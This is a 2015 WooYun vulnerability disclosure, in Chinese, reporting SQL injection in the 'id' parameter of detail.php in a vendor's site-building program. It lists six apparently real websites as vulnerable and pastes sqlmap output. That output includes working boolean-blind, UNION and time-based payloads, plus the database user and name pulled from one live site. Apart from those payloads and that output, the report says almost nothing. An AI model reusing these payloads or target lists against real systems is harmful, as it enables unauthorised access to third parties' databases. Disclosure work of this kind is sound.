当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094408

漏洞标题:某建站程序通用型SQL注入#1

相关厂商:宏云浩海(北京)科技有限公司

漏洞作者: YuShen

提交时间:2015-01-28 18:44

修复时间:2015-04-28 18:46

公开时间:2015-04-28 18:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-28: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

SQL

详细说明:

注入

漏洞证明:

1、建站程序类型:php+mysql
2、漏洞类型:SQL注入
3、缺陷文件:detail.php
4、注入参数:id
5、涉及版本:全部
7、危害程度:高危
8、涉及厂商:宏云浩海(北京)科技有限公司
9、厂商网站:www.bj-cloud.com
10、安装量:超大
11、是否拥有源代码分析:暂无
12、是否默认配置:是
案例如下:
http://www.cnpamirs.com/ch/detail.php?id=1&zid=4&infoid=13&en=c id=1
http://www.taidesteel.com/en/detail.php?id=2&infoid=7&en=c id=2
http://www.kdw.com.cn/ch/detail.php?id=7&infoid=10&en=c infoid=10
http://web440507.dnsvhost.com/ch/detail.php?id=1&zid=4&infoid=13&en=c id=1
http://taidesteelmesh.com/ch/detail.php?id=5&zid=15&en=c
http://ruika-sh.com/ch/detail.php?id=3&infoid=5&en=c infoid=5
测试第一处!
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2905=2905&zid=4&infoid=13&en=c id=1 AND 2905=2905
Type: UNION query
Title: MySQL UNION query (NULL) - 29 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171627871,0x69766c48424b6f6c5653,0x7163616d71
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&zid=4&i
nfoid=13&en=c id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171627871,0x69766c48424b6f6c5653,0x7163616d7
1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5)&zid=4&infoid=13&en=c id=1 AND SLEEP(5)
---
[16:11:02] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[16:11:02] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.cnpamirs.com'
[*] shutting down at 16:11:02
current user: 'web440507@%'
current database: 'db_web440507'
available databases [2]:
[*] db_web440507
[*] information_schema

修复方案:

过滤!

版权声明:转载请注明来源 YuShen@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝